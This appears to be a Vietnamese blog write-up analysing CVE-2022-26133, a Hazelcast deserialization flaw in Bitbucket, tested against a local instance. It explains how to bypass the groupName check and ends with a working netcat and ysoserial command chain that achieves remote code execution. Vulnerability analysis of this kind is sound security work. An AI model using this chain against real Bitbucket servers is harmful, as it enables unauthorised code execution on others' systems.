Phân tích lỗ hổng Deserialization trong Bitbucket CVE-2022-26133

Về desialization là gì thì anh em có thể tham khảo thêm ở đây. 1. Tìm hiểu về lỗi Trên Jira của Atlassian đã mô tả về lỗi như sau: Lỗ hổng này là lỗ hổng Deserialization của Hazelcast nhúng trong Bitbucket, tương tự CVE-2016-10750 của phiên bản Hazelcast cũ nhưng ở lỗ hổng mới

Về desialization là gì thì anh em có thể tham khảo thêm ở đây.

1. Tìm hiểu về lỗi

Trên Jira của Atlassian đã mô tả về lỗi như sau:

image.png

Lỗ hổng này là lỗ hổng Deserialization của Hazelcast nhúng trong Bitbucket, tương tự CVE-2016-10750 của phiên bản Hazelcast cũ nhưng ở lỗ hổng mới này thì chỉ ảnh hưởng đến Bitbucket mà thôi.

Bitbucket sử dụng thằng Hazelcast để lưu trữ dữ liệu vì nó là một nền tảng tính toán và lưu trữ dữ liệu trong bộ nhớ phân tán. Chi tiết như nào thì mình cũng chịu.

Theo mô tả trên NVD, lỗ hổng xảy ra ở chức năng SharedSecretClusterAuthenticator của Bitbucket, nó nằm ở bitbucket-service-impl/com/atlassian/stash/internal/cluster/SharedSecretClusterAuthenticator.class. Hàm runMutualChallengeResponse sẽ nhận vào 1 ObjectDataInput từ Object ClusterJoinRequest và đưa vào hàm receivceObject:
image.png

Hàm receiveObject này lại có 1 phương thức readObject, vì vậy theo lý thuyết nếu ta kiểm soát được giá trị in thì có thể chèn vào 1 đối tượng nguy hiểm để deserialize -> RCE.
image.png

Tuy nhiên để đi được vào hàm readObject này ta phải bypass qua được câu lệnh if, hàm verifyGroupName:
image.png

Hàm này kiểm tra xem groupName của input có giống với groupName của hệ thống hay không, với groupName là:
image.png

GroupName là groupName của hazelcast. Do vậy ta sẽ đi vào trong HazelcastClusterInformation.class để xem cấu hình Hazelcast Cluster. HazelcastCluster lấy config từ 1 file NetworkConfig:
image.png

Port mặc định của Hazelcast là 5701, nên ta thử netcat đến port này xem sao, và kết quả là:
image.png

Ra bkcs là tên của user chạy bitbucket. Ban đầu mình không hiểu tại sao, mãi sau mới nhận ra trong hàm verifyGroupName có câu lệnh out.writeUTF(this.groupName) để in ra cửa sổ tên groupName =)) cứ như là dev của Bitbucket cố tình để lại cái này hòng lấy được CVE vậy.

Như vậy là đã biết được tên của groupName, việc bypass câu lệnh if đầu tiên là rất đơn giản, chỉ cần truyền vào 1 giá trị là groupName là được. Vì vậy, ban đầu mình đã thực hiện tạo file tên là groupName.txt với giá trị là bkcs để gửi tới server, tuy nhiên kết quả mình nhận lại không khả quan:
image.png

Breakpoint dừng lại ở đây, và nếu chạy tiếp nó sẽ không nhảy sang BP tiếp theo. Tức là hàm readUTF này đã bị lỗi chăng? Hoặc là Hazelcast đọc dữ liệu vào kiểu khác hay như nào mình không rõ. Nhưng mình đã thử nc đến rồi lưu thằng groupName nhận được vào file:
image.png

Đọc file txt này bằng VSCode, và kết quả là đây:
image.png

Đúng là tên groupName không chỉ đơn giản là bkcs thông thường như mình nghĩ =)) Và vì vậy mình đã truyền toàn bộ giá trị groupName này vào server và kết quả nhận được là:
image.png

image.png

Nó đã nhận bkcs là remoteGroup của mình, và đã bypass verifyGroupName thành công. Note: sau vài ngày tìm hiểu thì mình đã biết được những byte đằng trước là mang độ dài của groupName đi sau. bkcs dài 4 nên những byte đằng trước sẽ là x00x00x00x04.

Việc tiếp theo là phải làm sao để chèn 1 Object vào cho nó deserialize. Để tạo object, ta sử dụng tool Ysoserial.

Điều cần quan tâm là ta sẽ sử dụng chain nào để khai thác. Lại quay trở lại advisory của bitbucket, họ nói lỗ hổng này tương tự CVE-2016-10750 của phiên bản Hazelcast cũ. Như vậy phải xem phiên bản đó sử dụng được chain nào.

Lượn lờ trên mạng về cái CVE cũ này, mình đã tìm được 1 cái ảnh poc như sau:
image.png

Hazelcast có thể bị khai thác thông qua chain CommonsBeanutils1. Hơn nữa, phân tách giữa groupName (trong ảnh là Administrator) với Object là 1 đoạn byte xffxffxffx9c là độ dài chuỗi của chain.

Tóm lại, kết quả RCE thành công.


nc 127.0.0.1 5701 > groupName.txt

java -jar ysoserial-all.jar CommonsBeanutils1 "curl localhost:8000" > object.bin

printf "xffxffxffx9c" | cat groupName.txt - object.bin > finish_payload

nc 127.0.0.1 5701 < finish_payload 

image.png

Nguồn: viblo.asia

Bài viết liên quan

WebP là gì? Hướng dẫn cách để chuyển hình ảnh jpg, png qua webp

WebP là gì? WebP là một định dạng ảnh hiện đại, được phát triển bởi Google

Điểm khác biệt giữa IPv4 và IPv6 là gì?

IPv4 và IPv6 là hai phiên bản của hệ thống địa chỉ Giao thức Internet (IP). IP l

Check nameservers của tên miền xem website trỏ đúng chưa

Tìm hiểu cách check nameservers của tên miền để xác định tên miền đó đang dùn

Mình đang dùng Google Domains để check tên miền hàng ngày

Từ khi thông báo dịch vụ Google Domains bỏ mác Beta, mình mới để ý và bắt đầ